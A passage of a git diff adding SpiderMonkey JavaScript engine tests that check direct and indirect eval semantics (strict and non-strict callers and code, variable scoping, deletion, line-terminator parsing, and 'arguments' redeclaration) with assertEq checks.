+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = ev(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 4);
+
+assertEq(resultsX.inner2, 7);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 23);
+
+
+var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = ev(ycode);
+
+var inner1 = f("get");
+var local1 = y;
+
+y = 8;
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+
+assertEq(resultsY.del, true);
+
+assertEq(resultsY.inner4, "ReferenceError");
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-strictcode.js b/js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-strictcode.js
new file mode 100644
index 0000000000..c225b97966
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-normalcaller-indirect-strictcode.js
@@ -0,0 +1,174 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = ev(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = ev(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+y = 8;
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-normalcode.js b/js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-normalcode.js
new file mode 100644
index 0000000000..4a6b289f29
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-normalcode.js
@@ -0,0 +1,173 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = eval(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = eval(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+try { y = 8; } catch (e) { assertEq(e.name, "ReferenceError"); }
+var inner2 = f("get");
+try { var local2 = y; } catch (e) { local2 = e.name; }
+
+f("set1");
+var inner3 = f("get");
+try { var local3 = y; } catch (e) { local3 = e.name; }
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, "ReferenceError");
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, "ReferenceError");
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, "ReferenceError");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-strictcode.js b/js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-strictcode.js
new file mode 100644
index 0000000000..2e624ecb36
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-strictcaller-direct-strictcode.js
@@ -0,0 +1,175 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = eval(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = eval(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+try { y = 8; } catch (e) { assertEq(e.name, "ReferenceError"); }
+var inner2 = f("get");
+try { var local2 = y; } catch (e) { local2 = e.name; }
+
+f("set1");
+var inner3 = f("get");
+try { var local3 = y; } catch (e) { local3 = e.name; }
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, "ReferenceError");
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, "ReferenceError");
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, "ReferenceError");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-normalcode.js b/js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-normalcode.js
new file mode 100644
index 0000000000..ac11ccb73d
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-normalcode.js
@@ -0,0 +1,173 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = ev(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 4);
+
+assertEq(resultsX.inner2, 7);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 23);
+
+
+var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = ev(ycode);
+
+var inner1 = f("get");
+var local1 = y;
+
+try { y = 8; } catch (e) { assertEq(e.name, "ReferenceError"); }
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+
+assertEq(resultsY.del, true);
+
+assertEq(resultsY.inner4, "ReferenceError");
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-strictcode.js b/js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-strictcode.js
new file mode 100644
index 0000000000..137a8bad71
--- /dev/null
+++ b/js/src/tests/non262/eval/exhaustive-global-strictcaller-indirect-strictcode.js
@@ -0,0 +1,175 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = ev(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = ev(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+try { y = 8; } catch (e) { assertEq(e.name, "ReferenceError"); }
+var inner2 = f("get");
+try { var local2 = y; } catch (e) { local2 = e.name; }
+
+f("set1");
+var inner3 = f("get");
+try { var local3 = y; } catch (e) { local3 = e.name; }
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, "ReferenceError");
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, "ReferenceError");
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, "ReferenceError");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/line-terminator-paragraph-terminator.js b/js/src/tests/non262/eval/line-terminator-paragraph-terminator.js
new file mode 100644
index 0000000000..9a904073ab
--- /dev/null
+++ b/js/src/tests/non262/eval/line-terminator-paragraph-terminator.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 657367;
+var summary =
+ "eval via the JSON parser should parse strings containing U+2028/U+2029 " +
+ "(as of <https://tc39.github.io/proposal-json-superset/>, that is)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(eval('("\u2028")'), "\u2028");
+assertEq(eval('("\u2029")'), "\u2029");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/eval/redeclared-arguments-in-param-expression-eval.js b/js/src/tests/non262/eval/redeclared-arguments-in-param-expression-eval.js
new file mode 100644
index 0000000000..58d94d6f70
--- /dev/null
+++ b/js/src/tests/non262/eval/redeclared-arguments-in-param-expression-eval.js
@@ -0,0 +1,87 @@
+// Ensure there's no predefined |arguments| binding.
+assertEq("arguments" in this, false);
+
+// Declare |arguments| when no pre-existing (and explicit) |arguments| bindings are present.
+function f1(p = eval("var arguments")) {}
+assertThrowsInstanceOf(f1, SyntaxError);
+
+// Declare |arguments| when the function body contains an |arguments| var-binding.
+function f2(p = eval("var arguments")) {
+ var arguments;
+}
+assertThrowsInstanceOf(f2, SyntaxError);
+
+// Declare |arguments| when the function body contains an |arguments| function declaration.
+//
+// <https://tc39.es/ecma262/#sec-functiondeclarationinstantiation> doesn't create the
+// implicit |arguments| binding when no parameter expressions are present. This case
+// may be special-cased in implementations and therefore should be tested specifically.
+function f3(p = eval("var arguments")) {
+ function arguments() {}
+}
+assertThrowsInstanceOf(f3, SyntaxError);
+
+// Declare |arguments| when the function body contains an |arguments| lexical binding.
+//
+// <https://tc39.es/ecma262/#sec-functiondeclarationinstantiation> doesn't create the
+// implicit |arguments| binding when no parameter expressions are present. This case
+// may be special-cased in implementations and therefore should be tested specifically.
+function f4(p = eval("var arguments")) {
+ let arguments;
+}
+assertThrowsInstanceOf(f4, SyntaxError);
+
+// Declare |arguments| when a following parameter is named |arguments|.
+function f5(p = eval("var arguments"), arguments) {}
+assertThrowsInstanceOf(f5, SyntaxError);
+
+// Declare |arguments| when a preceding parameter is named |arguments|.
+function f6(arguments, p = eval("var arguments")) {}
+assertThrowsInstanceOf(f6, SyntaxError);
+
+
+// Repeat the same kind of tests for arrow function.
+
+// Declare |arguments| when no pre-existing |arguments| bindings are present.
+var a1 = (p = eval("var arguments = 'param'")) => {
+ assertEq(arguments, "param");
+};
+a1();
+
+// Declare |arguments| when the function body contains an |arguments| var-binding.
+var a2 = (p = eval("var arguments = 'param'"), q = () => arguments) => {
+ var arguments = "local";
+ assertEq(arguments, "local");
+ assertEq(q(), "param");
+};
+a2();
+
+// Declare |arguments| when the function body contains an |arguments| function declaration.
+var a3 = (p = eval("var arguments = 'param'"), q = () => arguments) => {
+ function arguments() {}
+ assertEq(typeof arguments, "function");
+ assertEq(q(), "param");
+};
+a3();
+
+// Declare |arguments| when the function body contains an |arguments| lexical binding.
+var a4 = (p = eval("var arguments = 'param'"), q = () => arguments) => {
+ let arguments = "local";
+ assertEq(arguments, "local");
+ assertEq(q(), "param");
+};
+a4();
+
+// Declare |arguments| when a following parameter is named |arguments|.
+var a5 = (p = eval("var arguments"), arguments) => {};
+assertThrowsInstanceOf(a5, SyntaxError);
+
+// Declare |arguments| when a preceding parameter is named |arguments|.
+var a6 = (arguments, p = eval("var arguments")) => {};
+assertThrowsInstanceOf(a6, SyntaxError);
+
+// None of the direct eval calls introduced a global |arguments| binding.
+assertEq("arguments" in this, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/eval/shell.js b/js/src/tests/non262/eval/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/eval/shell.js
diff --git a/js/src/tests/non262/eval/undeclared-name-in-nested-strict-eval.js b/js/src/tests/non262/eval/undeclared-name-in-nested-strict-eval.js
new file mode 100644
index 0000000000..1cefe474b5
--- /dev/null
+++ b/js/src/tests/non262/eval/undeclared-name-in-nested-strict-eval.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary =
+ "Verify that we don't optimize free names to gnames in eval code that's " +
+ "global, when the name refers to a binding introduced by a strict mode " +
+ "eval frame";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = "global";
+assertEq(eval('var x = "eval"; eval("x")'), "eval");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/execution-contexts/browser.js b/js/src/tests/non262/execution-contexts/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/execution-contexts/browser.js
diff --git a/js/src/tests/non262/execution-contexts/regress-23346.js b/js/src/tests/non262/execution-contexts/regress-23346.js
new file mode 100644
index 0000000000..11fdbf8b93
--- /dev/null
+++ b/js/src/tests/non262/execution-contexts/regress-23346.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
